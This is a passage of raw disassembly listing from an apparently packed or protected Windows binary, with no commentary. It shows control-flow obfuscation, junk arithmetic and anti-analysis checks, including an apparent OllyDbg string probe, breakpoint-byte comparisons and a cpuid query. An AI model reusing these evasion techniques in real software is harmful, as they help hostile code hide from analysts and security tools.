; CODE XREF: wto1jq8f:0042E70Cj jmp loc_429BB5 ; =============== S U B R O U T I N E ======================================= sub_428B05 proc near ; CODE XREF: wto1jq8f:0042E0A3p xor bx, bx add ebx, 10000h jmp loc_427EF6 sub_428B05 endp ; --------------------------------------------------------------------------- loc_428B13: ; CODE XREF: wto1jq8f:00426FA9j sub edx, ebx jmp loc_42B9BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A88D loc_428B1A: ; CODE XREF: sub_42A88D:loc_427421j xchg edx, [ecx] jmp loc_42B2D8 ; END OF FUNCTION CHUNK FOR sub_42A88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_428B21: ; CODE XREF: sub_42ADC7:loc_42DB15j jmp loc_42E9EB ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_428B27: ; CODE XREF: sub_42E3FD-9C8Ej ; sub_42BEF6-70C4j ... jnz loc_428E41 call near ptr sub_42CB36 test al, al jmp loc_428E35 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- push eax retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428B3B proc near ; CODE XREF: sub_428F61+Dp ; wto1jq8f:0042A818p push ebp mov ebp, esp sub_428B3B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428B3E proc near ; CODE XREF: sub_426535+3C3Ej ; FUNCTION CHUNK AT 0042797C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C333 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042D4C1 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042D850 SIZE 00000005 BYTES add esp, 0FFFFFFF8h push ebx jmp loc_42D4C1 sub_428B3E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42727F loc_428B47: ; CODE XREF: sub_42727F+6j ; wto1jq8f:0042C34Bj and ecx, 526781D7h cmp ecx, 4919DB5Fh jmp loc_427499 ; END OF FUNCTION CHUNK FOR sub_42727F ; --------------------------------------------------------------------------- ror ebp, 0Fh and ecx, 0CEE0669Ah jmp near ptr sub_42CBD1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426AD4 loc_428B66: ; CODE XREF: sub_426AD4:loc_42D784j shl eax, cl call sub_427D00 loc_428B6D: ; CODE XREF: wto1jq8f:0042BF2Bj and al, 7 push offset loc_42CE27 loc_428B74: ; CODE XREF: sub_425CE2+325Ej jmp loc_42C0CD ; END OF FUNCTION CHUNK FOR sub_426AD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DDD loc_428B79: ; CODE XREF: sub_428DDD:loc_42BE9Ej mov [ebx], al pop ebx jmp loc_427FD3 ; END OF FUNCTION CHUNK FOR sub_428DDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_428B81: ; CODE XREF: sub_4283CC:loc_42A77Fj lea eax, [ebp-0Ch] push eax call near ptr loc_42FB2B+4 jmp loc_42F8EB ; END OF FUNCTION CHUNK FOR sub_4283CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BF9 loc_428B8F: ; CODE XREF: sub_424BF9:loc_428BDAj push eax push offset loc_426EE2 jmp nullsub_27 ; END OF FUNCTION CHUNK FOR sub_424BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_428B9A: ; CODE XREF: sub_426535:loc_4275F0j test al, al jz loc_42E1F6 jmp loc_426B0A ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_428BA7: ; CODE XREF: wto1jq8f:0042E8CBj xchg esi, [ebx] ; =============== S U B R O U T I N E ======================================= sub_428BA9 proc near ; CODE XREF: sub_42A2B8:loc_428454p ; FUNCTION CHUNK AT 00426E01 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D589 SIZE 00000004 BYTES xchg edi, [esp+0] pop edi mov eax, [ebp-4] cmp byte ptr [eax], 0 jnz near ptr loc_42F000+1 mov eax, [ebp-8] mov byte ptr [eax], 0 jmp loc_426E01 sub_428BA9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428BC4 proc near ; DATA XREF: wto1jq8f:loc_429363o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00427DD9 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428FC7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042D4DA SIZE 00000023 BYTES push edx push 92249BC1h pop edx add edx, 6E1E299Bh xchg edx, [esp+4+var_4] jmp loc_42D4DA sub_428BC4 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BF9 loc_428BDA: ; CODE XREF: sub_424BF9+825Fj jmp loc_428B8F ; END OF FUNCTION CHUNK FOR sub_424BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426313 loc_428BDF: ; CODE XREF: sub_426313+1356j ; sub_426535:loc_42A843j ror eax, 17h push eax call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_426313 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_428BE9: ; CODE XREF: sub_42ADC7-43A4j ; sub_42ADC7+3C2Ej push 0A8A4EBCh pop eax jmp loc_4277FF ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; =============== S U B R O U T I N E ======================================= sub_428BF4 proc near ; CODE XREF: wto1jq8f:00425DAFj ; wto1jq8f:00427CCEp mov [esp+0], ebx pop ebx mov eax, [ebp-0Ch] mov ecx, 3FBh jmp loc_428D57 sub_428BF4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx jmp loc_427192 ; =============== S U B R O U T I N E ======================================= sub_428C0C proc near ; CODE XREF: sub_42BB8A:loc_42C10Fp ; wto1jq8f:0042E4FDj ; FUNCTION CHUNK AT 00424DE7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424EDF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004259DD SIZE 00000014 BYTES mov [esp+0], eax pop eax mov eax, [ebp-8] shr eax, 0Bh jmp loc_424DE7 sub_428C0C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB8A loc_428C1B: ; CODE XREF: sub_42BB8A:loc_4264A3j mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jnz loc_42DFB1 mov eax, [ebp-8] jmp loc_424ED3 ; END OF FUNCTION CHUNK FOR sub_42BB8A ; --------------------------------------------------------------------------- jmp loc_426DE0 ; --------------------------------------------------------------------------- mov eax, [ebp-4] push eax push ebx push 0A2218AE4h pop ebx xor ebx, 8890D18Ah jmp loc_42B1CD ; --------------------------------------------------------------------------- call sub_424309 mov [edx-18h], eax inc dword ptr [ebp-4] jmp loc_42B131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E541 loc_428C5A: ; CODE XREF: sub_42E541:loc_42A585j cmp dword ptr [ebp-14h], 4 push offset loc_429937 jmp loc_42E0E1 ; END OF FUNCTION CHUNK FOR sub_42E541 ; =============== S U B R O U T I N E ======================================= sub_428C68 proc near ; DATA XREF: wto1jq8f:0042E2B3o pop ebp xor eax, eax retn sub_428C68 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3DA loc_428C6C: ; CODE XREF: sub_42A3DA+Cj jmp loc_424A8B ; END OF FUNCTION CHUNK FOR sub_42A3DA ; =============== S U B R O U T I N E ======================================= sub_428C71 proc far ; CODE XREF: wto1jq8f:004267DCj ; wto1jq8f:loc_42C8C6j ... ; FUNCTION CHUNK AT 0042B6A8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042CD5C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042E061 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042FE07 SIZE 0000001F BYTES jnz sub_42E5FA push ebp mov ebp, esp push ecx mov esp, ebp loc_428C7D: ; CODE XREF: wto1jq8f:00426247j jmp loc_42CD5C sub_428C71 endp ; sp-analysis failed ; --------------------------------------------------------------------------- word_428C82 dw 0C6h ; DATA XREF: sub_4285AF+9o ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 89h, 45h, 0FCh dd 458D1C6Ah, 996850CCh, 581F471Fh, 0C7B6E081h, 0D3E9BB1Fh db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_428C9F: ; CODE XREF: wto1jq8f:loc_424C68j or eax, edx push offset sub_427DA7 jmp loc_42D317 ; --------------------------------------------------------------------------- loc_428CAB: ; DATA XREF: wto1jq8f:00427854o mov ebx, [eax+4] mov eax, [eax] jnz loc_425DF7 retn ; --------------------------------------------------------------------------- loc_428CB7: ; CODE XREF: wto1jq8f:0042D68Cj popf loc_428CB8: ; CODE XREF: wto1jq8f:loc_42D684j add edx, 4F960EA8h xchg edx, [esp] jmp loc_42C0D7 ; --------------------------------------------------------------------------- not edx popf not eax jmp loc_428F56 ; --------------------------------------------------------------------------- loc_428CD0: ; DATA XREF: sub_42DC5C+166o mov eax, 80000003h xor ebx, ebx xor ecx, ecx xor edx, edx cpuid add [esi], eax jmp loc_429FBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_428CE4: ; CODE XREF: sub_42606D-1C0Aj push 0AE124FB9h mov [esp-0Ch+arg_8], esi pop esi mov ds:dword_42A73C, eax call sub_42ED32 mov edx, 90F68180h jmp loc_42C29A ; END OF FUNCTION CHUNK FOR sub_42606D ; =============== S U B R O U T I N E ======================================= sub_428D01 proc near ; DATA XREF: sub_42C547+CDCo xchg ecx, [esp+0] retn sub_428D01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_428D05: ; CODE XREF: sub_42DC5C-80EEj jmp loc_424A82 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D496 loc_428D0B: ; CODE XREF: sub_42D496-6D51j ; sub_42A467-313Dj ... ror eax, 3 push edx ror edx, 8 jmp loc_42DFD0 ; END OF FUNCTION CHUNK FOR sub_42D496 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_428D18: ; CODE XREF: sub_42B02D+3068j jmp loc_42F851 ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_428D1D: ; CODE XREF: sub_42EDB9-25A2j jmp loc_42828A ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427106 loc_428D22: ; CODE XREF: sub_427106+1j jmp loc_426F2D ; END OF FUNCTION CHUNK FOR sub_427106 ; --------------------------------------------------------------------------- loc_428D27: ; CODE XREF: wto1jq8f:loc_424A64j jnz loc_42624D jmp loc_424FCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_428D32: ; CODE XREF: sub_42A8ED:loc_42CAD3j push offset loc_42A564 jmp nullsub_30 ; END OF FUNCTION CHUNK FOR sub_42A8ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_428D3C: ; CODE XREF: sub_42606D:loc_4243F6j jz loc_42444D jmp loc_429599 ; END OF FUNCTION CHUNK FOR sub_42606D ; =============== S U B R O U T I N E ======================================= sub_428D47 proc near ; DATA XREF: wto1jq8f:0042D79Eo ; FUNCTION CHUNK AT 00424D18 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00425A3B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427728 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042A827 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042C9AA SIZE 0000000B BYTES call sub_424585 push 9556E74Eh pop edx call near ptr sub_427143 loc_428D57: ; CODE XREF: sub_428BF4+Cj jmp loc_424D18 sub_428D47 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4246D4 loc_428D5C: ; CODE XREF: sub_4246D4+A67Bj pop ebp jmp loc_427FCE ; END OF FUNCTION CHUNK FOR sub_4246D4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [esp], ebx push eax push ecx push edx jmp loc_4244D2 ; --------------------------------------------------------------------------- db 0BAh, 55h, 1Bh dd 6850BB93h, 0CFBCA571h, 0B1F08158h, 0C11BC0FFh, 0C08116C0h dd 500D7977h, 0E9240487h, 0FFFFCB81h ; --------------------------------------------------------------------------- loc_428D94: ; CODE XREF: wto1jq8f:loc_426895j mov eax, [ebp-4] cmp byte ptr [eax], 0CFh jz loc_427CC2 mov eax, [ebp-4] ; START OF FUNCTION CHUNK FOR sub_4244EA loc_428DA3: ; CODE XREF: sub_4244EA:loc_42AA49j cmp byte ptr [eax], 0E9h jz loc_427CC2 jmp loc_42934D ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- mov ds:dword_42DAE4, eax lea eax, [ebp-14h] jmp loc_428A8A ; =============== S U B R O U T I N E ======================================= sub_428DBE proc near ; CODE XREF: sub_424585+3j ; FUNCTION CHUNK AT 0042A0A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BB33 SIZE 0000001B BYTES add esp, 0FFFFFFECh mov eax, (offset loc_42FB67+1) call sub_42E5B2 loc_428DCB: ; CODE XREF: wto1jq8f:0042854Dj cmp ds:dword_42DAE4, 0 jnz loc_427B25 jmp loc_42A0A7 sub_428DBE endp ; =============== S U B R O U T I N E ======================================= sub_428DDD proc far ; CODE XREF: sub_42A491+8p ; FUNCTION CHUNK AT 004241CD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004270DC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427FD3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428B79 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042A486 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A5F6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042AE7C SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0042BE9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E483 SIZE 0000001A BYTES mov [esp+0], eax pop eax call near ptr loc_42FB2B+4 push eax call dword ptr [ebp-4] test eax, eax jz loc_425BE9 jmp loc_42A486 sub_428DDD endp ; --------------------------------------------------------------------------- loc_428DF7: ; DATA XREF: sub_42BE69:loc_424569o push eax push edx push 159BC44Bh pop edx jmp loc_425085 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B02D loc_428E04: ; CODE XREF: sub_42B02D+Aj cmp ds:dword_42FB50, 0 jz loc_42B4B4 mov eax, ds:dword_42FB50 push offset byte_42BB17 jmp loc_429633 ; END OF FUNCTION CHUNK FOR sub_42B02D ; --------------------------------------------------------------------------- loc_428E20: ; CODE XREF: wto1jq8f:loc_42E3E0j push eax call sub_42D765 retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_428E27: ; CODE XREF: sub_4269FD+4B1Ej jmp loc_42BEEF ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- pushf mov [esp], ebp jmp loc_42AFE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_428E35: ; CODE XREF: sub_42B276-2742j jz loc_4281AB call nullsub_1 retn ; --------------------------------------------------------------------------- loc_428E41: ; CODE XREF: sub_42B276:loc_428B27j call near ptr sub_42CB36 test al, al jmp loc_426281 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_428E4D: ; CODE XREF: sub_42A909-6489j jz nullsub_99 jmp near ptr loc_42F714+4 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- loc_428E58: ; CODE XREF: wto1jq8f:00424EAEj not ebx jmp loc_42E1B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_428E5F: ; CODE XREF: sub_42ADC7:loc_42B752j add eax, edx xor eax, ebx add eax, ecx xor eax, esi add eax, edi jmp loc_425F8E ; --------------------------------------------------------------------------- loc_428E6E: ; CODE XREF: sub_42ADC7:loc_4297C8j push eax jmp loc_42EB89 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_428E74: ; CODE XREF: sub_42C6C3:loc_42979Ej add eax, ecx push offset dword_42B840 loc_428E7B: ; CODE XREF: wto1jq8f:00427DD4j jmp nullsub_119 ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_428E80: ; CODE XREF: sub_426535+A1j popf ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_428E81 proc far ; CODE XREF: sub_42501F+8p xchg edi, [esp+0] pop edi push 0F2F05663h pop eax and eax, 0A18E7BE0h jmp loc_42DF53 sub_428E81 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428E97: ; CODE XREF: wto1jq8f:0042CDB3j jmp loc_42FC98 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F4F loc_428E9C: ; CODE XREF: sub_425F4F:loc_42EAD2j and edi, 12EC9E35h jmp loc_429F0A ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- add edx, [ebp-4] call sub_42B565 sbb eax, edi jmp loc_428A0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_428EB6: ; CODE XREF: sub_42A909-2993j sbb edx, 0A73869F1h loc_428EBC: ; CODE XREF: sub_42A909:loc_42ED98j call sub_42B866 retn ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E676 loc_428EC2: ; CODE XREF: sub_42E676+10j jmp loc_429FF9 ; END OF FUNCTION CHUNK FOR sub_42E676 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D4FD loc_428EC7: ; CODE XREF: sub_42D4FD+1j jmp loc_42A9D4 ; END OF FUNCTION CHUNK FOR sub_42D4FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_428ECC: ; CODE XREF: sub_42ADC7-62B9j jmp loc_428669 ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_428ED1: ; CODE XREF: sub_42A909+2942j call near ptr sub_42CB36 test al, al jz loc_42ACAC jmp loc_424924 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- push eax jmp sub_42A14D ; --------------------------------------------------------------------------- locret_428EE9: ; CODE XREF: wto1jq8f:loc_42630Ej retn ; --------------------------------------------------------------------------- loc_428EEA: ; CODE XREF: wto1jq8f:00427CF0j jmp loc_42CE75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42408D loc_428EEF: ; CODE XREF: sub_42408D+4j jmp loc_42598D ; END OF FUNCTION CHUNK FOR sub_42408D ; =============== S U B R O U T I N E ======================================= sub_428EF4 proc near ; DATA XREF: wto1jq8f:0042D256o push eax rol eax, 8 mov ds:dword_42E514, eax retn sub_428EF4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_428EFF: ; CODE XREF: wto1jq8f:0042B691j jmp loc_42902C ; --------------------------------------------------------------------------- loc_428F04: ; DATA XREF: sub_429165-4782o add eax, 3Ch push offset loc_42AB72 jmp loc_4263E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_428F11: ; CODE XREF: sub_42DC5C-7C83j jz loc_429524 cmp eax, 0FFFFFFFFh jz loc_429524 mov eax, [eax] jmp near ptr loc_42F639+1 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- jnb loc_42757C jmp loc_428134 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CE2 loc_428F32: ; CODE XREF: sub_425CE2:loc_425CF5j jl loc_42EFBE adc esi, 873E3DA3h sub edi, esi jl loc_428B74 jmp loc_429BEC ; END OF FUNCTION CHUNK FOR sub_425CE2 ; --------------------------------------------------------------------------- locret_428F4B: ; CODE XREF: wto1jq8f:00429893j ; wto1jq8f:0042BB9Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A88D loc_428F4C: ; CODE XREF: sub_42A88D+A6Aj jmp near ptr loc_42F66B+1 ; END OF FUNCTION CHUNK FOR sub_42A88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_428F51: ; CODE XREF: sub_42DB52-5C3Dj jmp loc_424873 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- loc_428F56: ; CODE XREF: wto1jq8f:00428CCBj push edi push offset loc_426B32 jmp locret_42EAAA ; =============== S U B R O U T I N E ======================================= sub_428F61 proc near ; CODE XREF: sub_42CE5D+1p ; FUNCTION CHUNK AT 004271D7 SIZE 00000005 BYTES mov [esp+0], ebp mov eax, offset dword_42AD18 mov edx, 16h call sub_428B3B pop ecx push ebp push 0FCCB8D9Ah pop eax jmp loc_4271D7 sub_428F61 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ecx, 0CEC2E26Fh jmp loc_42D342 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_428F8A: ; CODE XREF: sub_42DB52:loc_42DBFEj pop edx push ebp call near ptr loc_42F946+1 jmp loc_427F0F ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DBA6 loc_428F96: ; CODE XREF: sub_42DBA6+1Aj jmp loc_42880E ; END OF FUNCTION CHUNK FOR sub_42DBA6 ; --------------------------------------------------------------------------- db 81h ; --------------------------------------------------------------------------- retn 4B3Eh ; --------------------------------------------------------------------------- db 94h dd 5FF28159h, 3370513h, 368B5AF2h, 424B9368h, 0E740E900h db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C88D loc_428FB7: ; CODE XREF: sub_42C88D+14j jmp nullsub_129 ; END OF FUNCTION CHUNK FOR sub_42C88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42618A loc_428FBC: ; CODE XREF: sub_42618A+17j jmp loc_427046 ; END OF FUNCTION CHUNK FOR sub_42618A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424BD4 loc_428FC1: ; CODE XREF: sub_424BD4+11j jmp loc_4248F2 ; END OF FUNCTION CHUNK FOR sub_424BD4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_130. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428BC4 loc_428FC7: ; CODE XREF: sub_428BC4:loc_427DEEj push offset sub_42D86F jmp nullsub_122 ; END OF FUNCTION CHUNK FOR sub_428BC4 ; =============== S U B R O U T I N E ======================================= sub_428FD1 proc far ; DATA XREF: sub_426535:loc_42865Fo ; FUNCTION CHUNK AT 004271EC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427E99 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042C772 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D16C SIZE 00000005 BYTES lea eax, [ebp-2BBh] cmp dword ptr [eax], 47424454h jz loc_4265DB jmp loc_42C772 sub_428FD1 endp ; --------------------------------------------------------------------------- loc_428FE8: ; CODE XREF: wto1jq8f:loc_4274AEj ; wto1jq8f:loc_42806Dj sbb edx, 8C470E66h pop edx xor ebx, ebp loc_428FF1: ; CODE XREF: wto1jq8f:004267A1j cmp eax, 6A11CDA3h jmp loc_42D0C7 ; --------------------------------------------------------------------------- loc_428FFC: ; DATA XREF: wto1jq8f:0042A264o mov eax, [ebp-4] inc eax call sub_428183 jmp loc_428A35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42900A: ; CODE XREF: sub_42481C:loc_4294DDj ; sub_429BFF+3B49j xor edx, edx jmp loc_424949 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- pop ebx jmp sub_42AFCD ; =============== S U B R O U T I N E ======================================= sub_429017 proc near ; CODE XREF: wto1jq8f:0042486Ep ; wto1jq8f:004288ADj ; FUNCTION CHUNK AT 00426EE8 SIZE 00000005 BYTES push offset loc_42BD6C jmp loc_426EE8 sub_429017 endp ; --------------------------------------------------------------------------- jge loc_4266CA jmp loc_42B8B5 ; --------------------------------------------------------------------------- loc_42902C: ; CODE XREF: wto1jq8f:loc_428EFFj lea eax, [ebp-20h] mov dword ptr [eax], 594C4C4Fh call near ptr sub_42C049 ; =============== S U B R O U T I N E ======================================= sub_42903A proc near ; CODE XREF: sub_42628C-1B6Ep ; wto1jq8f:00426630j ; FUNCTION CHUNK AT 0042A858 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F42D SIZE 00000005 BYTES xchg eax, [esp+0] pop eax jnz loc_4245A1 push offset sub_4270C0 jmp loc_42A858 sub_42903A endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 5FCEh dword_429050 dd 0 ; wto1jq8f:loc_42A4CCr ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_429054: ; CODE XREF: sub_42BE69-3EFj jmp loc_42A9E7 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- db 6Dh, 2Ch, 38h dword_42905C dd 0 ; wto1jq8f:00426DD2r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D71D loc_429060: ; CODE XREF: sub_42D71D+Dj jmp loc_4274EA ; END OF FUNCTION CHUNK FOR sub_42D71D ; --------------------------------------------------------------------------- db 0A1h, 0C0h, 40h dword_429068 dd 0 ; wto1jq8f:loc_4244A4w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_42906C: ; CODE XREF: sub_427D00+23E0j jmp loc_42CEAD ; END OF FUNCTION CHUNK FOR sub_427D00 ; --------------------------------------------------------------------------- db 80h, 4Ah, 85h dword_429074 dd 0 dword_429078 dd 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_42907C: ; CODE XREF: sub_4267AE+3920j jmp loc_42F7DB ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- loc_429081: ; CODE XREF: wto1jq8f:004245E4j jmp loc_4243AB ; --------------------------------------------------------------------------- dw 0C102h dword_429088 dd 0 ; --------------------------------------------------------------------------- loc_42908C: ; CODE XREF: wto1jq8f:0042D083j jmp loc_42773F ; --------------------------------------------------------------------------- loc_429091: ; CODE XREF: wto1jq8f:0042A156j jmp loc_424CA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D71D loc_429096: ; CODE XREF: sub_42D71D:loc_42CF99j pop edx push 76BE8D39h pop eax and eax, 0CD678D26h sub eax, 8A721BD3h add eax, 468E4572h xchg eax, [esp-8+arg_4] retn ; END OF FUNCTION CHUNK FOR sub_42D71D ; --------------------------------------------------------------------------- loc_4290B3: ; CODE XREF: wto1jq8f:0042B306j jmp sub_427A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424F83 loc_4290B8: ; CODE XREF: sub_424F83+8j jmp nullsub_86 ; END OF FUNCTION CHUNK FOR sub_424F83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B353 loc_4290BD: ; CODE XREF: sub_42B353:loc_42943Bj cmp ds:dword_42D5CC, 0 jnz loc_42ABD0 jmp loc_42FFCB ; END OF FUNCTION CHUNK FOR sub_42B353 ; =============== S U B R O U T I N E ======================================= sub_4290CF proc near ; DATA XREF: wto1jq8f:00425C19o ; FUNCTION CHUNK AT 0042428F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E8B4 SIZE 00000011 BYTES mov dword ptr [ebp-18h], 0 mov eax, [ebp-4] mov edx, [ebp-14h] add eax, [edx+20h] xor edx, edx push edx push eax jmp loc_42428F sub_4290CF endp ; --------------------------------------------------------------------------- loc_4290E8: ; CODE XREF: wto1jq8f:loc_42B163j add esi, 0D99B41D5h push offset sub_4271F4 jmp loc_42E646 ; --------------------------------------------------------------------------- dd 0C88C6851h, 0C1593E66h, 0F1811EC1h, 0ED894DD0h, 6E34E9h db 0 ; --------------------------------------------------------------------------- loc_42910D: ; CODE XREF: wto1jq8f:00424FAEj mov esi, ebp xor 